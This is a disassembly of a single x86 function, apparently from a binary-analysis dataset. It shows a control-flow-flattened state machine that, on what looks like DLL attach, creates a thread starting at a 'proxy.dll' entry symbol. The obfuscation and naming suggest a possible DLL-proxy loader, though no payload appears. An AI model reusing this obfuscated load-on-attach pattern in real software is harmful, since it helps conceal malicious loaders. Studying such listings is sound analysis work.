Function at 0x10099490
Capabilities:
Create thread

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, dword [esp + 0x2c]
mov ecx, dword [0x100ad040]
xor ecx, esp
mov dword [esp + 0x10], ecx
cmp eax, 1
sete byte [esp + 7]
mov edx, 0x6afa6e77
mov ecx, 0xfe448709
mov eax, 0x908e429c
mov esi, 0x1e940306
mov edi, 0x3591f5dd
mov ebx, 0xdc462034
jmp 0x100994f0
mov ecx, dword [esp + 8]
cmp ecx, 0x2f753a38
mov ecx, 0xf1b61173
mov edx, 0xd2191ae2
cmove ecx, edx
mov edx, 0x424b9c27
nop dword [eax + eax]
cmp edx, 0x1dbcb62f
jg 0x10099560
cmp edx, 0xd9b83a84
jle 0x100995c0
cmp edx, 0xf448c055
jg 0x10099677
cmp edx, 0xe17a0423
jle 0x10099769
cmp edx, 0xe17a0424
je 0x100998ef
cmp edx, 0xe3959269
je 0x1009990a
cmp edx, 0xf1f1c76f
jne 0x100994f0
mov edx, dword [esp]
cmp edx, 0xfe448709
mov edx, 0x3175e75b
mov ebp, 0x80387c6d
cmovl edx, ebp
jmp 0x100994f0
cmp edx, 0x532f72da
jle 0x10099620
cmp edx, 0x6824cc9e
jg 0x100996c2
cmp edx, 0x581bdbc5
jle 0x100997a2
cmp edx, 0x581bdbc6
je 0x10099919
cmp edx, 0x641a1077
je 0x1009994d
cmp edx, 0x6774b9f0
jne 0x100994f0
mov edx, dword [esp]
cmp edx, 0xfe448709
mov edx, 0x55c83f0b
cmove edx, esi
jmp 0x100994f0
cmp edx, 0xb90313df
jle 0x100996ff
cmp edx, 0xcfccb136
jle 0x100997c4
cmp edx, 0xcfccb137
je 0x10099968
cmp edx, 0xd1fea8f0
je 0x10099983
cmp edx, 0xd453ad53
jne 0x100994f0
mov edx, dword [esp]
cmp edx, 0x7eb875d7
mov edx, 0x55c83f0b
mov ebp, 0x581bdbc6
cmove edx, ebp
jmp 0x100994f0
cmp edx, 0x3591f5dc
jle 0x10099732
cmp edx, 0x40d73632
jle 0x100997f7
cmp edx, 0x40d73633
je 0x100994cf
cmp edx, 0x424b9c27
je 0x100999a4
cmp edx, 0x4a6902d3
jne 0x100994f0
mov edx, dword [esp]
cmp edx, 0x1a745da3
mov edx, 0x55c83f0b
mov ebp, 0x3d4f988a
cmove edx, ebp
jmp 0x100994f0
cmp edx, 0xfbae9496
jle 0x10099828
cmp edx, 0xfbae9497
je 0x100999ae
cmp edx, 0x13fb52c
je 0x100999c9
cmp edx, 0xfc3b38d
jne 0x100994f0
mov edx, dword [esp]
cmp edx, 0x5fcd604b
mov edx, 0xb90313e0
mov ebp, 0xf1f1c76f
cmovl edx, ebp
jmp 0x100994f0
cmp edx, 0x6a847fe5
jle 0x1009985b
cmp edx, 0x6a847fe6
je 0x100999e4
cmp edx, 0x704df780
je 0x10099793
cmp edx, 0x6afa6e77
jne 0x100994f0
mov dword [esp], ecx
mov edx, 0x13fb52c
jmp 0x100994f0
cmp edx, 0x8931725b
jle 0x10099889
cmp edx, 0x8931725c
je 0x100999ee
cmp edx, 0x89a84d42
jne 0x10099af3
mov edx, 0x424b9c27
mov ecx, 0xeba8f987
jmp 0x100994f0
cmp edx, 0x20acc7d6
jg 0x100998bc
cmp edx, 0x1dbcb630
je 0x10099a09
cmp edx, 0x1e940306
jne 0x100994f0
mov dword [esp + 8], eax
mov edx, 0x424b9c27
mov ecx, 0x1a745da3
jmp 0x100994f0
cmp edx, 0xd9b83a85
je 0x10099a24
cmp edx, 0xdc462034
jne 0x100994f0
cmp byte [esp + 7], 0
mov eax, 0x2f753a38
mov ecx, 0x90539db
cmovne eax, ecx
mov edx, 0x424b9c27
mov ecx, 0x8c801ecd
jmp 0x100994f0
cmp edx, 0x532f72db
je 0x10099a3f
cmp edx, 0x55c83f0b
jne 0x100994f0
mov edx, 0x6a847fe6
jmp 0x100994f0
cmp edx, 0xb90313e0
je 0x10099a58
cmp edx, 0xc3c071b5
jne 0x100994f0
mov edx, dword [esp]
cmp edx, 0xd2191ae2
mov edx, 0x20acc7d7
mov ebp, 0x6824cc9f
cmovl edx, ebp
jmp 0x100994f0
cmp edx, 0x3591f5dd
je 0x10099a73
cmp edx, 0x3d4f988a
jne 0x100994f0
mov ecx, dword [esp + 8]
cmp ecx, 0x90539db
mov ecx, 0x7ea8eca2
mov edx, 0xba461193
jmp 0x10099997
cmp edx, 0xf448c056
je 0x10099a8c
cmp edx, 0xfb1e835e
jne 0x100994f0
mov edx, dword [esp]
cmp edx, 0xd2191ae2
mov edx, 0x55c83f0b
mov ebp, 0x92497be9
cmove edx, ebp
jmp 0x100994f0
cmp edx, 0x6824cc9f
je 0x10099aa7
cmp edx, 0x694912ad
jne 0x100994f0
mov edx, dword [esp]
cmp edx, 0x9e1abbf9
mov edx, 0x55c83f0b
cmove edx, ebx
jmp 0x100994f0
cmp edx, 0x80387c6d
je 0x10099abd
cmp edx, 0x83494a8e
jne 0x100994f0
mov edx, dword [esp]
cmp edx, 0xeba8f987
mov edx, 0x55c83f0b
mov ebp, 0x704df780
cmove edx, ebp
jmp 0x100994f0
cmp edx, 0x20acc7d7
je 0x10099ad8
cmp edx, 0x3175e75b
jne 0x100994f0
mov edx, dword [esp]
cmp edx, 0x1a745da3
mov edx, 0x4a6902d3
mov ebp, 0x6774b9f0
cmovl edx, ebp
jmp 0x100994f0
mov edx, dword [esp]
cmp edx, 0x8c801ecd
mov edx, 0x55c83f0b
mov ebp, 0xe3959269
cmove edx, ebp
jmp 0x100994f0
mov edx, 0x424b9c27
mov ecx, 0xfe448709
jmp 0x100994f0
mov dword [esp + 0xc], 0
lea eax, [esp + 0xc]
push eax
push 0
push 0
push sym.proxy.dll_DllEntry
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 0x424b9c27
mov ecx, 0x8c801ecd
mov eax, 0x2f753a38
jmp 0x100994f0
mov edx, dword [esp]
cmp edx, 0xa3b357e5
mov edx, 0x55c83f0b
mov ebp, 0x40d73633
cmove edx, ebp
jmp 0x100994f0
mov edx, dword [esp]
cmp edx, 0xa3b357e5
mov edx, 0x641a1077
mov ebp, 0x694912ad
cmovl edx, ebp
jmp 0x100994f0
mov ecx, dword [esp + 8]
cmp ecx, 0x2f753a38
mov ecx, 0xa3b357e5
mov edx, 0x5fcd604b
cmovl ecx, edx
mov edx, 0x424b9c27
jmp 0x100994f0
mov edx, 0x6afa6e77
jmp 0x100994f0
mov edx, dword [esp]
cmp edx, 0xba461193
mov edx, 0xc3c071b5
mov ebp, 0xd9b83a85
cmovl edx, ebp
jmp 0x100994f0
mov edx, dword [esp]
cmp edx, 0xf1b61173
mov edx, 0xfc3b38d
mov ebp, 0xfbae9497
cmovl edx, ebp
jmp 0x100994f0
mov edx, 0x424b9c27
jmp 0x100994f0
mov edx, dword [esp]
cmp edx, 0x5fcd604b
mov edx, 0x55c83f0b
mov ebp, 0x532f72db
cmove edx, ebp
jmp 0x100994f0
mov edx, dword [esp]
cmp edx, 0x7eb875d7
mov edx, 0xd453ad53
mov ebp, 0xf448c056
cmovl edx, ebp
jmp 0x100994f0
mov edx, dword [esp]
cmp edx, 0x9e1abbf9
mov edx, 0xcfccb137
mov ebp, 0xe17a0424
cmovl edx, ebp
jmp 0x100994f0
mov ecx, dword [esp + 8]
cmp ecx, 0x90539db
mov ecx, 0xf1b61173
mov edx, 0x7eb875d7
jmp 0x100994e3
mov edx, dword [esp]
cmp edx, 0x7ea8eca2
mov edx, 0x1dbcb630
mov ebp, 0x8931725c
cmovl edx, ebp
jmp 0x100994f0
mov ecx, dword [esp + 8]
cmp ecx, 0x908e429c
mov ecx, 0xf1b61173
mov edx, 0x9e1abbf9
jmp 0x100994e3
mov edx, dword [esp]
cmp edx, 0x7ea8eca2
mov edx, 0x55c83f0b
mov ebp, 0xd1fea8f0
cmove edx, ebp
jmp 0x100994f0
mov edx, dword [esp]
cmp edx, 0xba461193
mov edx, 0x55c83f0b
cmove edx, edi
jmp 0x100994f0
mov edx, dword [esp]
cmp edx, 0xf1b61173
mov edx, 0x55c83f0b
mov ebp, 0x89a84d42
cmove edx, ebp
jmp 0x100994f0
mov edx, dword [esp]
cmp edx, 0xeba8f987
mov edx, 0x83494a8e
mov ebp, 0xfb1e835e
cmovl edx, ebp
jmp 0x100994f0
cmp edx, 0x92497be9
jne 0x100994f0
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.1009a5dc
mov eax, 1
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret 0xc